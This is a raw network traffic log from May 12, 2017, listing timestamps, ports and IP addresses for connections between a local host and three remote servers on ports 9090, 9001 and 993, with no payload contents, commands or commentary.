May 12, 2017 18:54:55.147497892 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147744894 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147763968 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147845030 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.147877932 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147880077 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.147891045 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147900105 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.147910118 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147954941 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.148936987 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.151556015 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.151576996 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.151586056 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.151674032 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.152616978 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.152640104 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.152759075 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.153572083 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.153590918 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.153603077 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.153666019 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.154634953 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.154652119 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.154659986 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.154731989 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.154745102 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.154759884 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.154774904 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.156229019 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.156248093 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.156352997 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.156368971 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.157115936 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.157140970 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.157207012 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.157222033 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.159462929 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.159487963 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.159569025 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.159581900 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.160775900 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.160799026 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.160861969 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.160873890 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.160907984 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.164525986 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.272449017 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.272610903 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.340451956 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:55.340585947 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:55.372450113 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.580465078 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.580589056 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.993335009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.996457100 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.997060061 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:56.017710924 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.017733097 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.017823935 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.017838955 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.027584076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.027688026 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.027702093 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.037086010 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.037113905 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.037324905 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.037341118 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.053016901 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.053056002 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.053354025 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.053375006 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.055566072 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.055597067 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.056363106 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.056379080 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.071659088 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.071685076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.071700096 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.071887970 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.071908951 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.083648920 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.083688974 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.083790064 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.083806038 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.083817005 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.083983898 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.084002972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.087217093 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.087238073 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.087393045 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.087418079 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.093276024 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.093297005 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.093671083 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.093688011 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.096657991 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.096678972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.096987009 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.097007036 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.104501963 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.104516029 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.104856968 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:56.332453966 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.560477972 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:56.560709000 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.016455889 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.016618013 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.105309010 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.105329990 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.105345011 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.105420113 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.134720087 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.134749889 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.135132074 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.135163069 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135173082 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135184050 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135189056 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135209084 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135222912 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135227919 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135237932 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135353088 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.135365963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.135386944 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.135401011 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135410070 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135416031 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135422945 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135428905 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135436058 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135447979 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135454893 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135801077 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.135816097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.135914087 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.135929108 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135938883 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135945082 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135951042 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135957003 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135963917 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135971069 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.135977983 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136058092 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.136069059 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.136138916 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.136149883 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.136233091 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.136306047 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.136317968 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136327028 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136332989 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136339903 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136347055 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136353970 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136360884 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136368036 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136769056 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.136785030 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.136876106 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.136890888 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136899948 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136905909 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136912107 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136918068 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136924028 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136929989 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.136935949 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.137016058 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.137027025 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.137095928 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.137106895 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.138449907 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.138463974 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.138571024 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.138586044 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.138595104 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.138601065 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.138889074 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.138907909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.138983011 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.139059067 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.139070034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.139843941 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.139858961 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139868975 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139874935 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139880896 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139888048 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139894009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139899969 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139905930 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139911890 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.139919043 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140027046 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.140043020 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140053988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140058994 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140068054 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140072107 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140077114 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140085936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140090942 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140094042 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140099049 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140103102 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140106916 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140110970 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140115023 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140117884 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140121937 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140125990 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140130043 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140134096 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140136957 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140542984 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.140562057 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140573978 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140579939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140583992 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140588045 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140590906 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140594959 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140599012 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140603065 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140605927 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140609980 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140615940 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140623093 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140630960 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140636921 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140642881 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140649080 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140655041 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140661955 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140669107 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140676022 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.140882969 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.140897036 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.140970945 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.140981913 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.141078949 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.141094923 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141103983 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141115904 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141122103 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141129017 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141136885 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141148090 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141155005 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141161919 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141170025 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141176939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141182899 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141186953 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141191959 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141197920 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.141278028 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.141289949 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.141357899 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.141367912 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.141446114 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.141972065 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.142076969 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.142092943 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:57.142395020 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.142410040 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.142519951 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.142535925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.142602921 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.142616987 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.142684937 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.142697096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.142811060 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.142826080 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.143254995 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.143269062 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.143282890 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.143352032 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.143367052 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.143388987 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.143589020 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:57.143683910 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.143701077 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.143815994 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.143830061 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.143886089 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.143896103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.144104004 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.144118071 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144128084 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144134998 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144140959 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144146919 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144150972 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144154072 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144160032 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144278049 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.144293070 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144300938 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144308090 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144315958 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144323111 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144330978 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144340038 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144397020 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144794941 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.144809961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.144891977 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.144907951 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144917011 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144922972 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144928932 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144932985 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144937038 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144942999 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.144948959 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.145039082 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.145051003 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.145124912 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.145136118 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.146002054 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.146078110 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.146092892 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146104097 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146110058 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146116972 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146122932 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146128893 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146133900 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146140099 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146421909 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:57.146435022 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:57.146521091 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:57.146534920 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146543980 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146549940 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146555901 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146562099 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146568060 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:57.146574974 CEST	9090	49200	138.68.0.4	192.168.1.16
